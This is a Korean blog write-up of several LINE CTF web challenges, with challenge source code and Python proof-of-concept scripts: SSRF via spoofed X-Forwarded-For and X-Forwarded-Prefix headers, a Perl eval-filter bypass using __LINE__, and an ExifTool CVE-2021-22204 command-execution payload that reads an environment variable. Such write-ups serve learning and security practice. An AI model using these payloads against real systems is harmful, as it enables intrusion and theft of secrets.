3주연속으로 CTF는 쉽지 않군요. 그래도 LINE CTF는 24시간이라서 오히려 좋았습니다. 너무 길면 궁금한 시간만 길어질 때가 많기 때문이죠.
Baby Simple GoCurl (100pt)(solved)
Go
로 작성된 문제입니다. 아래와 같이 로컬로 요청을 쏠 수 있는 폼이 존재합니다.
플레그 위치
플레그는 /flag
엔드포인트에 존재합니다. 하지만 RemoteAddr
이 127.0.0.1
일때만 접속할 수 있습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//main.go: 90
...
func main(){
...
r.GET("/flag/", func(c *gin.Context) {
reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
log.Println("[+] RemoteAddr : " + c.Request.RemoteAddr)
log.Println("[+] IP : " + reqIP)
if reqIP == "127.0.0.1" {
c.JSON(http.StatusOK, gin.H{
"message": flag,
})
return
}
c.JSON(http.StatusBadRequest, gin.H{
"message": "You are a Guest, This is only for Host",
})
})
r.Run()
}
취약점
main()
를 보면 29 번째 줄에서 url에 flag
, curl
, %
문자열이 들어갔는지, c.ClientIP()
가 127.0.0.1
인지 아닌지 검증합니다. 조건문을 보면 127.0.0.1
이기만 하면 flag
문자열이 들어가도 요청을 보낼 수 있기 때문에 c.ClientIP()만 127.0.0.1로 만들어주면 /flag 엔드포인트로 요청을 보낼 수 있습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
...
func main() {
flag := os.Getenv("FLAG")
r := gin.Default()
r.LoadHTMLGlob("view/*.html")
r.Static("/static", "./static")
r.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", gin.H{
"a": c.ClientIP(),
})
})
r.GET("/curl/", func(c *gin.Context) {
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return redirectChecker(req, via)
},
}
reqUrl := strings.ToLower(c.Query("url"))
reqHeaderKey := c.Query("header_key")
reqHeaderValue := c.Query("header_value")
reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue)
if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
log.Println("[+] IP : " + c.ClientIP())
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
req, err := http.NewRequest("GET", reqUrl, nil)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
if reqHeaderKey != "" || reqHeaderValue != "" {
req.Header.Set(reqHeaderKey, reqHeaderValue)
}
resp, err := client.Do(req)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
defer resp.Body.Close()
bodyText, err := ioutil.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
statusText := resp.Status
c.JSON(http.StatusOK, gin.H{
"body": string(bodyText),
"status": statusText,
})
})
r.GET("/flag/", func(c *gin.Context) {
reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
log.Println("[+] RemoteAddr : " + c.Request.RemoteAddr)
log.Println("[+] IP : " + reqIP)
if reqIP == "127.0.0.1" {
c.JSON(http.StatusOK, gin.H{
"message": flag,
})
return
}
c.JSON(http.StatusBadRequest, gin.H{
"message": "You are a Guest, This is only for Host",
})
})
r.Run()
}
gin의 공식 문서를 보면 X-ForWarded-For
또는 X-Real-Ip
헤더를 통해서 clientIP
를 조작할 수 있습니다.
PoC Code
처음 시도했을 때 포트번호까지 주니 안돼서 로컬에서 빌드해서 확인한 결과 포트번호는 주면 안되는 것이었습니다ㅎ.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from requests import get
from re import search
info = lambda x : print(f"[+] {x}")
URL ="http://34.146.230.233:11000"
FLAG =""
res = get(f"{URL}/curl/?url=http://localhost:8080/flag/&header_key=&header_value=", headers={"X-Forwarded-For":"127.0.0.1"})
m = search(r"LINECTF{.*?}",res.text)
if m :
FLAG = m.group()
info(f"Flag is {FLAG}")
else :
print("[-] Failed to find the flag")
Adult Simple GoCurl (193pt)
Baby
문제와 다른 점은 아래와 같이 조건문의 차이점 뿐입니다. 이제는 url
파라미터에 직접적으로 flag
, curl
, %
를 쓸 수 없습니다.
1
2
3
4
5
6
...
if strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%") {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
...
취약점
우리는 임의의 헤더를 설정할 수 있으므로, X-Forwarded-Prefix 헤더를 이용하여 요청 시 기본 경로를 지정할 수 있습니다. /flag
엔드포인트를 prefix
로 놓으면 //
로 요청을 보내면 리다이렉트가 될 것이고 이 헤더에 의해서 실제 요쳥은 /flag
와 같아지겠죠. 이런 헤더가 있는지 처음 알았습니다.
PoC Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from requests import get
from re import search
info = lambda x : print(f"[+] {x}")
URL ="http://34.84.87.77:11001"
FLAG =""
res = get(f"{URL}/curl/?url=http://127.0.0.1:8080//&header_key=X-Forwarded-Prefix&header_value=/flag/")
m = search(r"LINECTF{.*?}",res.text)
if m :
FLAG = m.group()
info(f"Flag is {FLAG}")
else :
print("[-] Failed to find the flag")
Old Pal (119pt)(Solved)
Perl
로 작성된 문제로 조건문을 모두 통과하여 $pw
가 20230325
이면 풀립니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/perl
use strict;
use warnings;
use CGI;
use URI::Escape;
$SIG{__WARN__} = \&warn;
sub warn {
print("Hacker? :(");
exit(1);
}
my $q = CGI->new;
print "Content-Type: text/html\n\n";
my $pw = uri_unescape(scalar $q->param("password"));
if ($pw eq '') {
print "Hello :)";
exit();
}
if (length($pw) >= 20) { ## len limit 20
print "Too long :(";
die();
}
if ($pw =~ /[^0-9a-zA-Z_-]/) { ## 숫자 영문 - _ 허용
print "Illegal character :(";
die();
}
if ($pw !~ /[0-9]/ || $pw !~ /[a-zA-Z]/ || $pw !~ /[_-]/) { ## character set이 적어도 한번씩은 들어가야함.
print "Weak password :(";
die();
}
if ($pw =~ /[0-9_-][boxe]/i) { ## 숫자 + b,o,x,e 조합 안된다.
print "Do not punch me :(";
die();
}
if ($pw =~ /AUTOLOAD|BEGIN|CHECK|DESTROY|END|INIT|UNITCHECK|abs|accept|alarm|atan2|bind|binmode|bless|break|caller|chdir|chmod|chomp|chop|chown|chr|chroot|close|closedir|connect|cos|crypt|dbmclose|dbmopen|defined|delete|die|dump|each|endgrent|endhostent|endnetent|endprotoent|endpwent|endservent|eof|eval|exec|exists|exit|fcntl|fileno|flock|fork|format|formline|getc|getgrent|getgrgid|getgrnam|gethostbyaddr|gethostbyname|gethostent|getlogin|getnetbyaddr|getnetbyname|getnetent|getpeername|getpgrp|getppid|getpriority|getprotobyname|getprotobynumber|getprotoent|getpwent|getpwnam|getpwuid|getservbyname|getservbyport|getservent|getsockname|getsockopt|glob|gmtime|goto|grep|hex|index|int|ioctl|join|keys|kill|last|lc|lcfirst|length|link|listen|local|localtime|log|lstat|map|mkdir|msgctl|msgget|msgrcv|msgsnd|my|next|not|oct|open|opendir|ord|our|pack|pipe|pop|pos|print|printf|prototype|push|quotemeta|rand|read|readdir|readline|readlink|readpipe|recv|redo|ref|rename|require|reset|return|reverse|rewinddir|rindex|rmdir|say|scalar|seek|seekdir|select|semctl|semget|semop|send|setgrent|sethostent|setnetent|setpgrp|setpriority|setprotoent|setpwent|setservent|setsockopt|shift|shmctl|shmget|shmread|shmwrite|shutdown|sin|sleep|socket|socketpair|sort|splice|split|sprintf|sqrt|srand|stat|state|study|substr|symlink|syscall|sysopen|sysread|sysseek|system|syswrite|tell|telldir|tie|tied|time|times|truncate|uc|ucfirst|umask|undef|unlink|unpack|unshift|untie|use|utime|values|vec|wait|waitpid|wantarray|warn|write/) {
print "I know eval injection :(";
die();
}
if ($pw =~ /[Mx. squ1ffy]/i) { ## m,x,s,u,f,y 안된다.
print "You may have had one too many Old Pal :(";
die();
}
if (eval("$pw == 20230325")) {
print "Congrats! Flag is LINECTF{redacted}"
} else {
print "wrong password :(";
die();
};
PoC Code
Perl 공식 문서를 보면 Alphabetical한 function에 __LINE__
이라는 것이 있는데 소스코드에서 현재 줄 번호를 반환합니다. 로컬에서 테스트했을 때 __LINE__
의 값은 1
이길래 아래와 같이 전달하여 해결할 수 있었습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from requests import get
from re import search
info = lambda x : print(f"[+] {x}")
URL ="http://104.198.120.186:11006"
PAYLOAD = "20230326-__LINE__"
FLAG =""
res = get(f"{URL}/cgi-bin/main.pl?password={PAYLOAD}")
m = search(r"LINECTF{.*?}",res.text)
if m :
FLAG = m.group()
info(f"Flag is {FLAG}")
else :
print("[-] Failed to find the flag")
Imagexif (152pt)
해당 문제는 ExifTool
12.22
버전으로 CVE-2021-22204의 영향을 받습니다. 아래 코드처럼 사진을 업로드하면 metadata
만 출력하기 때문에 취약점의 PoC
처럼 코드의 실행결과를 직접 볼 수는 없습니다. 하지만 38 번째 줄의 ExifToolJSONInvalidError
를 일으키면 re.findAll()
에서 정규표현식의 조건을 맞추어 ast.literal_eval()
를 실행시킬 수 있습니다. 이 메서드는 eval
과 같은 강력한 기능은 할 수 없지만 key-value
형태로 실행이 가능합니다. 그리고 이 메서드를 실행한 결과를 metadata
변수에 담아서 다시 랜더링합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
...
@app.route('/upload', methods=["GET","POST"])
def upload():
try:
if request.method == 'GET':
return render_template(
'upload.html.j2')
elif request.method == 'POST':
if 'file' not in request.files:
return 'there is no file in form!'
file = request.files['file']
if file and allowed_file(file.filename):
_file = file.read()
tmpFileName = str(uuid.uuid4())
with open("tmp/"+tmpFileName,'wb') as f:
f.write(_file)
f.close()
tags = exifread.process_file(file)
_encfile = base64.b64encode(_file)
try:
thumbnail = base64.b64encode(tags.get('JPEGThumbnail'))
except:
thumbnail = b'None'
with exiftool.ExifToolHelper() as et:
metadata = et.get_metadata(["tmp/"+tmpFileName])[0]
else:
raise FileNotAllowed(file.filename.rsplit('.',1)[1])
os.remove("tmp/"+tmpFileName)
return render_template(
'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
except FileNotAllowed as e:
return jsonify({
"error": APIError("FileNotAllowed Error Occur", str(e)).__dict__,
}), 400
except ExifToolJSONInvalidError as e:
os.remove("tmp/"+tmpFileName)
data = e.stdout
reg = re.findall('\[(.*?)\]',data, re.S )[0]
metadata = ast.literal_eval(reg) ## literal_eval
if 0 != len(metadata):
return render_template(
'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
else:
return jsonify({
"error": APIError("ExifToolJSONInvalidError Error Occur", str(e)).__dict__,
}), 400
except ExifToolException as e:
os.remove("tmp/"+tmpFileName)
return jsonify({
"error": APIError("ExifToolException Error Occur", str(e)).__dict__,
}), 400
except IndexError as e:
return jsonify({
"error": APIError("File extension could not found.", str(e)).__dict__,
}), 400
except Exception as e:
os.remove("tmp/"+tmpFileName)
return jsonify({
"error": APIError("Unknown Error Occur", str(e)).__dict__,
}), 400
깃허브의 RCE 툴을 이용하여 다음과 같은 페이로드를 구성하여 결괏값을 볼 수 있습니다. 뭐 여기서 RCE가 가능한데 리버스쉘 연결하면 되지않냐
라고 물으신다면 저 역시 시도는 해봤지만 전혀 되지 않았습니다. 그러면 아래처럼 연속된 escape
때문에 고생할 일도 없을텐데 말이죠.
1
exiftool -config eval.config runme.jpg -eval="system('echo [{\\\"a\\\":\\\"\$FLAG\\\"}]')"
Comments powered by Disqus.